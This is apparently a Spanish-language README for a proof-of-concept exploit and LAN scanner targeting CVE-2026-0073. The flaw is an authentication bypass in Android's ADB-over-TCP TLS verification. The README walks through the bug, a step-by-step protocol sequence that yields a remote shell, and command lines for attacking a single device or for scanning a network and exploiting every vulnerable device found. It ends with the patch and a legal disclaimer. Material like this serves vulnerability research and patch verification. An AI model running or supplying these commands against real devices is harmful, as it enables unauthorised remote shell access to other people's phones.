
Una herramienta PoC para el CVE-2026-0073 en dispositivos Android 11+ que permite una RCE instantánea de cero clics en cualquier dispositivo sin parchear con adb sobre tcp habilitado.
Un exploit de prueba de concepto y escáner de red para CVE-2026-0073, una
vulnerabilidad crítica de ejecución remota de código de cero clics y sin
interacción en la ruta de autenticación ADB-over-TCP de adbd en Android.
La vulnerabilidad es un error lógico en adbd_tls_verify_cert() (daemon/auth.cpp)
donde EVP_PKEY_cmp() se trata como un predicado booleano. Cuando una clave RSA
almacenada se compara contra un certificado de cliente TLS que no es RSA (EC P-256
o Ed25519), la API devuelve -1 (discrepancia de tipo), que es verdadero en
C/C++. Esto promueve una discrepancia entre algoritmos a una coincidencia exitosa
de clave de host, omitiendo la autenticación por completo.
Detalles técnicos obtenidos de BARGHEST.
Código PoC base obtenido de SecTestAnnaQuinn.
Corregido en el Boletín de Seguridad de Android — mayo de 2026.
Desde el contexto shell, un atacante puede inspeccionar propiedades del sistema,
estado de procesos, registros, notificaciones; instalar y eliminar paquetes; usar
run-as contra aplicaciones depurables; y preparar explotación posterior.
| Archivo | Propósito |
|---|---|
adb_tls_auth_bypass.py | PoC de explotación de objetivo único (original de SecTestAnnaQuinn, corregido con checksum) |
adbt_scanner.py | Escáner de red — descubre dispositivos vulnerables + los explota |
requirements.txt | Dependencias de Python |
Para que el exploit tenga éxito, el dispositivo Android objetivo debe tener:
adbd de la plataforma)/data/misc/adb/adb_keys# Crear entorno virtual
uv venv
# Activarlo
source .venv/bin/activate
# Instalar dependencias
uv pip install -r requirements.txt
Dependencias:
El escáner se degrada correctamente cuando faltan paquetes opcionales: advertirá
y recurrirá a métodos alternativos (comando ip del sistema, nmap, escaneo de
conexión TCP).
Ataca un dispositivo vulnerable conocido directamente.
python3 adb_tls_auth_bypass.py 192.168.1.42 # shell interactivo
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
O mediante el escáner:
python3 adbt_scanner.py --host 192.168.1.42 # shell interactivo
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Escanea la red local en busca de dispositivos vulnerables y explota todos los objetivos confirmados.
# Escaneo completo: mDNS → ARP → escaneo de puertos → sonda ADB → explotación
python3 adbt_scanner.py --scan
# Ejecutar un comando específico en todos los dispositivos vulnerables
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Solo reconocimiento — descubrir pero no explotar
python3 adbt_scanner.py --scan --no-exploit
# Escanear múltiples puertos
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Sobrescribir la subred detectada (hosts multi-homing, rangos específicos)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Ajustar tiempos de espera para redes lentas
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# Ampliar la ventana de escucha mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# Omitir fases específicas de descubrimiento
python3 adbt_scanner.py --scan --no-mdns # omitir mDNS, solo ARP
python3 adbt_scanner.py --scan --no-arp # omitir ARP, solo mDNS
--scan Escanear red en busca de dispositivos vulnerables + explotar
--host HOST Explotación directa de objetivo único
--port PORT Puerto ADB para el modo --host (por defecto: 5555)
--cmd COMMAND Comando de shell a ejecutar
-v, --verbose Registro detallado
--mdns-timeout SECONDS Duración de escucha mDNS (por defecto: 30)
--ports PORTS Puertos separados por comas en modo --scan (por defecto: 5555)
--subnet CIDR Sobrescribir subred detectada (p. ej. 192.168.2.0/24)
--connect-timeout SECONDS Tiempo de espera de conexión TCP (por defecto: 2.0)
--probe-timeout SECONDS Tiempo de espera de sonda ADB (por defecto: 3.0)
--arp-timeout SECONDS Tiempo de espera de barrido ARP (por defecto: 3)
--no-mdns Omitir descubrimiento mDNS
--no-arp Omitir barrido ARP + escaneo de puertos
--no-exploit Detenerse después de la fase de sonda de protocolo ADB
┌─────────────────────────────────────────────────────────────┐
│ 1. Detección de subred — netifaces → ip route → truco socket │
│ 2. Listener mDNS — _adb-tls-connect._tcp (30s por defecto) │
│ 3. Barrido ARP — scapy.arping → nmap -sn │
│ 4. Escaneo de puertos — conexión TCP a cada host:puerto │
│ 5. Sonda de protocolo ADB — enviar CNXN, clasificar respuesta│
│ │
│ STLS → VULNERABLE (proceder a explotación) │
│ AUTH → autenticación ADB heredada (no es este CVE) │
│ CNXN → abierto, sin autenticación (ya accesible) │
│ NO_ADB → no es un servicio ADB │
│ │
│ 6. Explotación — actualización TLS → bypass de auth → shell │
└─────────────────────────────────────────────────────────────┘
mDNS es el método de identificación más preciso: cuando la depuración inalámbrica
está emparejada, Android transmite _adb-tls-connect._tcp explícitamente. El
barrido ARP + escaneo de puertos sirve como respaldo integral.
Fase 1 — ADB en texto claro
Cliente → CNXN(payload="host::features=...")
Dispositivo → STLS (se requiere actualización a TLS)
Fase 2 — TLS 1.3 con certificado de cliente entre algoritmos
Cliente → respuesta STLS
Cliente → handshake TLS 1.3 + certificado de cliente EC P-256
El dispositivo llama a adbd_tls_verify_cert():
known_evp = clave RSA de /data/misc/adb/adb_keys
evp_pkey = clave EC P-256 del certificado de cliente
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (discrepancia de tipo)
if (-1) → verified = true ← ERROR: -1 es verdadero
Fase 3 — Capa de servicio ADB posterior a TLS
El cliente drena el CNXN del dispositivo (el transporte ya está en línea)
No se envía CNXN de host (activaría el kick de handle_new_connection)
Cliente → OPEN(local_id, window=32MB, payload="shell:\x00")
Dispositivo → OKAY → flujo de shell establecido
shell (uid=2000). El
compromiso del kernel, el acceso root y las claves del almacén de claves basado
en hardware requieren elevación adicional./data/misc/adb/adb_keys. Un dispositivo recién restablecido con
depuración inalámbrica habilitada pero nunca emparejado no es vulnerable.AUTH, no con STLS, y no se ven
afectados por este CVE.EVP_PKEY_cmp para requerir un valor de retorno exacto == 1.Este software se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. Las herramientas y el código de este repositorio están destinados a ayudar a profesionales de seguridad, investigadores y propietarios de dispositivos a:
No debe usar este software:
El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones y puede resultar en sanciones penales y civiles. Los autores y colaboradores no asumen ninguna responsabilidad por uso indebido, daños o consecuencias legales derivadas del uso de este software.
Úselo responsablemente. Conozca su objetivo. Obtenga permiso.
CC0 1.0 Universal — Sin derechos reservados.
En la medida en que lo permita la ley, los autores han renunciado a todos los derechos de autor y derechos conexos o vecinos sobre este trabajo.
| Atributo | Detalle |
|---|
| Vector de ataque | Red (adyacente / proximal) |
| Interacción | Ninguna (cero clics) |
| Privilegio obtenido | Usuario shell (uid=2000), SELinux u:r:shell:s0 |
| Primitiva de explotación | Acceso remoto a shell vía ADB |
| CVSS | Crítico (9.8) |
| Paquete | Usado por | ¿Requerido? |
|---|
cryptography | Ambos scripts (generación de certificados EC, TLS) | Sí |
netifaces | Escáner (detección de subred) | Preferible |
zeroconf | Escáner (descubrimiento mDNS) | Preferible |
scapy | Escáner (barrido ARP) | Preferible |